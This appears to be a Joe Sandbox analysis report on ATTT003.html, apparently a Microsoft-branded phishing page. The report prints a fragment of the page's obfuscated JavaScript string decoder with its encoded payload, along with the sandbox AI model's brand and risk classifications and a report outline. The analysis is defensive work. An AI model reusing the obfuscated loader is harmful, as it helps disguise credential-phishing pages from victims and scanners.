(131132%0o200021):bSvy=Dpyy<(0O347010110&0x463A71D)?(0x104D8-0o202271):(65896-0o200504);break;case (0o400151%0x10025):bSvy=(131158%0o200034);{const XMqy=j2Fy%(0o203410-0x106EA);j2Fy=Math.floor(j2Fy/(0o204540-67906));HuDy+=XMqy>=(0x3006E%0o200034)?String.fromCharCode((131255%0o200073)+(XMqy-(0o203434-0x10702))):String.fromCharCode((0o400265%0x1002A)+XMqy);}break;case (196698%0o200024):bSvy=(0o600120%0x10012);Dpyy++;break;}}}return HuDy;}function zkty(zm0y,bU2y){zm0y=decodeURI(zm0y);let vhVy=(0x75bcd15-0O726746425);let XOXy=\"\";var rcQy=(0o206630-0x10D7B);{let TJSy;while(rcQy<(0o211716-0x113A7)){switch(rcQy){case (0x10F78-0o207527):rcQy=(0x9D8DE4-0O47306735);{XOXy+=String.fromCharCode(zm0y.charCodeAt(TJSy)^bU2y.charCodeAt(vhVy));vhVy++;var n7Ky=(0o202342-0x104C9);while(n7Ky<(0o206166-0x10C59))switch(n7Ky){case (0o202734-67011):n7Ky=vhVy>=bU2y.length?(131152%0o200032):(0o1000115%0x1000C);break;case (0o1000200%65561):n7Ky=(69306-0o207235);{vhVy=(0x75bcd15-0O726746425);}break;}}break;case (0o1000166%65562):rcQy=TJSy<zm0y.length?(131141%0o200022):(196734%0o200035);break;case (0o1000131%65551):rcQy=(262270%0o200034);TJSy=(0x75bcd15-0O726746425);break;case (0O144657447^0x1935F20):rcQy=(131132%0o200027);TJSy++;break;}}}return XOXy;}})(\"%5B%25%11%0C%00%1D%08%0E%1DkM%19%05%1C%0F%02%07%0B%0CC%0E\'%18\'kM%19%11%0C%15%14%01-DJ%04%1D%09-%5BjM9%04%055(%5Bj9JJ%14%07%14%1D%20%10%0B%0C%07A(4%010JJ%12%13%04%076%16%0CCAJ@X%189IKBJ:X%189?8B:%3C.jMIKBJ:X%189?8B:%3C.hLIH2J:.%1E?I84%3CH%5EhEI84H%1C%156%0A%01%17%00%0E%0FS%20\'%117AH%1A%01&%10%17%11%07AIX%18?I82J:.%1EO9H2%3C%3C.h??%3E2J:.%1E?I84%3C%3CZhLJ.%0D%25%5BjMHKB@J(%1EOJHB:J(%1E99H2%3C%3CZjM%1F%05%1C%0F%02%07%0B%0CC,%25%17\'kM%19%11%0C%15%14%01-D;,%3E/IZh5\'+!IHX%02%03)AHJ%1C%25#)K@%1C%0D+%1BV_%18%14Z%07%06-%07%16%0A%06%0FA:%096K@%1A%13%167%11%10%0DI%20(?%0FLKH,5%07%3CkMI%22%0A%1B,%5BjO%11%16%05+IZ%3E%02%17%0D%0A%15%08%1C-D#%22%195IZ8%16%07%17%1C%13%0FS$%22%1B7AHJ%180%072K@J%165%05(JJB%16%09;%0CLKH%1A%10%00=kMI&1%084%5BjO\'%098(IZh127=IHX%203%046AHJ%147%0C.K@J$\'%25+JJB%20%02%09%0ELKH%1E%117%22kMI%00%3E%074%5BjO7\'-IZh%13%1258IHX4%0C,AHJ%04323K@J%16%1B%0B+JJ%14%07%14%1D%20%10%0B%0C%07A%20&%201JJ%12%13%04%076%16%0CCAJI(h?9BB:%3CXbO9%3E4J:X%189?%3E4J:.j?I84%3CHXkO98B::XbO9%3E4J:X%189?%3EB:%3C.%18O9%3E4:J(%1E9?J%14%07%14%1D%20%10%0B%0C%07A%02$%251JJ%12%13%04%076%16%0CCA:%3C(%189?H2%3CH(h??HHJ:.%1E%19%04%16%07%02%15%1A,%0AB%14;65%5Bj%1F%10%06%1D%14%13%1DcLJ%10%08%18(%5BjMHK(4%02&kMKJBIJ%5B%18O98HJ:.hEI84%3CJ(h??%3E4%3CJ(%1EM9H2%3C%3CZ%3E%02%17%0D%0A%15%08%1C-D;035IZ8%16%07%17%1C%13%0FSk%257%00%3CIHZhL%01%20%1A5IZj%19%04%16%07%02%15%1A,%0AB%10&05%5Bj%1F%10%06%1D%14%13%1Dc-%0F4%20IHX%20%0D$0AHJ%3E\'%127K@J%0E%15%04/JJ%14%07%14%1D%20%10%0B%0C%07A4#%170JJ%12%13%04
URL: file:///C:/Users/user/Desktop/ATTT003.html... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a utility function for parsing query parameters from the URL. While it uses some obfuscated variable names, the overall behavior is relatively benign and likely intended for legitimate purposes such as analytics or user tracking. The script does not exhibit any high-risk indicators like dynamic code execution or data exfiltration, and the use of the `decodeURIComponent` function suggests an attempt to handle user input safely. However, the use of the legacy `exec` method on the `RegExp` object is a minor risk factor, and the lack of transparency around the `rh13z8jemt` variable could be a concern. Overall, this script is assessed as low to medium risk." }
const ptrjkso = (strey) => { strey = strey.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]'); var barrow = new RegExp('[\\?&]' + strey + '=([^&#]*)'); var gloea = barrow.exec(location.search); // Culpa porchetta prosciutto ex ham eu, adipisicing elit fatback capicola. return gloea === null ? '' : decodeURIComponent(gloea[1].replace(/\+/g, ' ')); } //Ut pork chop meatloaf anim kielbasa shankle laboris. rh13z8jemt = ptrjkso('e') == '' ? rh13z8jemt : ptrjkso('e');
URL: :// Model: Joe Sandbox AI	```json{ "brand": "unknown", "brand_classification": "unknown", "legit_url": "unknown", "similarity": 0, "spoofed": 0, "reasoning": "The provided input is not a valid URL. It lacks a scheme (e.g., 'http', 'https') and a domain name, making it impossible to analyze for typosquatting or any brand association. Without a complete URL structure, no character substitutions, visual similarities, or structural elements can be assessed."}
URL: ://
URL: file:///C:/Users/user/Desktop/ATTT003.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Taking you to your Organization's sign-in page", "prominent_button_name": "cancel", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "software download portal" }

URL: file:///C:/Users/user/Desktop/ATTT003.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Taking you to your Organization's sign-in page", "prominent_button_name": "cancel", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "software download portal" }

URL: file:///C:/Users/user/Desktop/ATTT003.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/ATTT003.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/ATTT003.html# Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Taking you to your Organization's sign-in page", "prominent_button_name": "Sign in options", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "software download portal" }

Behavior Section

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Disassembly

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Windows Analysis Report ATTT003.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Windows Analysis Report
ATTT003.html